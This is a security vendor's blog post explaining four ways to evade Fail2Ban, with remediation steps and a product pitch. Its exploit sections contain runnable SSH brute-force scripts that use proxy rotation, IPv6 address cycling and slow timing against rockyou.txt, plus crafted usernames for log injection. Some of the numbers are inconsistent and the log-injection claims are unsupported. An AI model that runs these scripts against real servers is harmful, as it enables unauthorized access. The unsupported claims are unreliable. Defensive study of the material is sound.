Exploit AnalysisMay 20, 20265 min read

Fail2Ban Bypass: 4 Exploits That Break Linux Brute-Force Protection

Fail2Ban protects millions of servers. Here are 4 real exploits that bypass it completely.

TL;DR

  • IP rotation bypasses per-IP tracking with 1,000+ proxies
  • IPv6 /48 prefix = 2^80 addresses, Fail2Ban bans one at a time
  • Log injection poisons Fail2Ban's regex parser via crafted SSH usernames
  • Slow brute-force stays below threshold: 52,000 guesses/day undetected

What is Fail2Ban?

A Python tool that monitors logs and auto-bans IPs after failed logins. Installed on millions of Linux servers as the primary SSH brute-force defense. But modern attackers bypass it easily.
root@server:~
root@server:~$ fail2ban-client status sshd

How It Works

Fail2Ban watches log files (/var/log/auth.log or systemd journal) for patterns like "Failed password". When the same IP triggers more failures than maxretry within findtime seconds, Fail2Ban adds an iptables/nftables rule to block that IP for bantime seconds. That's it — three config values control your entire brute-force defense.
# The core logic is this simple:
# 1. Watch log:  /var/log/auth.log
# 2. Match:      "Failed password for .* from <HOST>"
# 3. Count:      if failures from <HOST> >= maxretry within findtime
# 4. Ban:        iptables -I INPUT -s <HOST> -j REJECT
# 5. Unban:      after bantime seconds, remove the rule

# Default config (/etc/fail2ban/jail.conf):
[sshd]
enabled  = true
maxretry = 5       # 5 failures allowed
findtime = 600     # within 10 minutes
bantime  = 600     # banned for 10 minutes

Are You Vulnerable? Check Now

Run these commands on your server. If any check fails, you're exposed.
# 1. Is Fail2Ban even running?
sudo fail2ban-client status
# If "ERROR" or "not found" → you have ZERO protection

# 2. Check your current config
sudo fail2ban-client get sshd maxretry    # default 5 = too high
sudo fail2ban-client get sshd findtime    # default 600 = too short
sudo fail2ban-client get sshd bantime     # default 600 = too short

# 3. Is SSH accepting passwords? (should be NO)
grep -i "PasswordAuthentication" /etc/ssh/sshd_config
# If "yes" → brute-force is possible

# 4. Is IPv6 open? (most servers: yes)
ss -tlnp | grep ":22"
# If you see [::]:22 → IPv6 SSH is open

# 5. How many IPs are currently banned?
sudo fail2ban-client status sshd
# If "Currently banned: 0" but auth.log shows failures → bypass happening
If maxretry > 3, findtime < 3600, or PasswordAuthentication is yes — you're vulnerable to all 4 exploits below.

Exploit 1 — IP Rotation

Fail2Ban tracks failures per IP. Spread attacks across 1,000 proxies and each IP never hits the ban threshold.
IP Rotation — Live Attack Simulation
ROTATING SOURCE IPs
185.220.101.420/5
104.244.76.130/5
51.15.43.2070/5
198.98.52.690/5
23.129.64.110/5
45.153.160.20/5
0
TOTAL ATTEMPTS
0
BANS TRIGGERED
maxretry=5 never reached
# Rotate IPs via proxychains — each attempt from a new IP
for ip in $(cat proxy_list.txt); do
  proxychains -f <(echo "socks5 $ip 1080") \
    sshpass -p "pass123" ssh admin@target 2>/dev/null
done
# 1,000 IPs × 4 attempts = 4,000 guesses, ZERO bans

Exploit 2 — IPv6 Abuse

A /48 IPv6 prefix gives 2^80 unique addresses. Fail2Ban bans individual /128 — completely useless.
# New IPv6 address per attempt from /48 prefix
PREFIX="2001:db8:abcd"
for i in $(seq 1 10000); do
  ADDR="$PREFIX:$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2)"
  ip -6 addr add "$ADDR/128" dev eth0
  ssh -b "$ADDR" admin@target 2>/dev/null
  ip -6 addr del "$ADDR/128" dev eth0
done
# 1.2 septillion addresses available — banning them is impossible

Exploit 3 — Log Injection

Fail2Ban parses logs with regex. Craft SSH usernames that inject fake log entries to confuse the parser, freeze it with ReDoS, or ban legitimate admin IPs.
# Inject fake "successful login" via SSH username
ssh 'admin\nMay 20 10:00:00 srv sshd[999]: Accepted password for root from 10.0.0.1'@target

# Freeze Fail2Ban with regex catastrophic backtracking
ssh 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'@target

# Ban the admin's real IP with a fake failure entry
ssh 'x\nMay 20 10:00:00 srv sshd[999]: Failed password for root from ADMIN_IP'@target

Exploit 4 — Slow Brute-Force

Default findtime is 600s. Space attempts beyond this window and the counter resets. Completely invisible.
Slow Brute-Force — Below Radar
4
4
4
4
4
4
4
ban threshold (5)
00:00
00:11
00:22
00:33
00:44
00:55
01:06
4 attempts — findtime resets every window — 0 bans
#!/bin/bash
# 4 attempts every 11 minutes — never triggers ban
while IFS= read -r pass; do
  for user in root admin deploy; do
    sshpass -p "$pass" ssh -o ConnectTimeout=5 $user@target 2>/dev/null
    sleep 180  # 3 min gap — counter resets before maxretry
  done
done < rockyou.txt
# 524 guesses/day/IP × 100 IPs = 52,400 guesses/day

Remediation

Fail2Ban alone is not enough. Layer your defenses:
# 1. Kill password auth entirely
# /etc/ssh/sshd_config
PasswordAuthentication no

# 2. Harden Fail2Ban — /etc/fail2ban/jail.local
[sshd]
maxretry  = 3
findtime  = 3600
bantime   = 86400
filter    = sshd[mode=aggressive]

# 3. Ban IPv6 /64 subnets instead of /128
[DEFAULT]
ipv6_prefix = 64

# 4. Rate limit at firewall level
iptables -A INPUT -p tcp --dport 22 \
  -m hashlimit --hashlimit-above 3/min \
  --hashlimit-burst 5 --hashlimit-mode srcip \
  --hashlimit-name ssh -j DROP
SSH keys + hardened Fail2Ban + firewall rate limiting = brute-force is dead.

Scan with TEPTEZ. Find this before attackers do.

TEPTEZ automatically detects weak Fail2Ban configs, exposed SSH, and brute-force vulnerabilities across your servers. Check out our DAST AI — it scans, finds, and gives you the fix.

Try TEPTEZ Free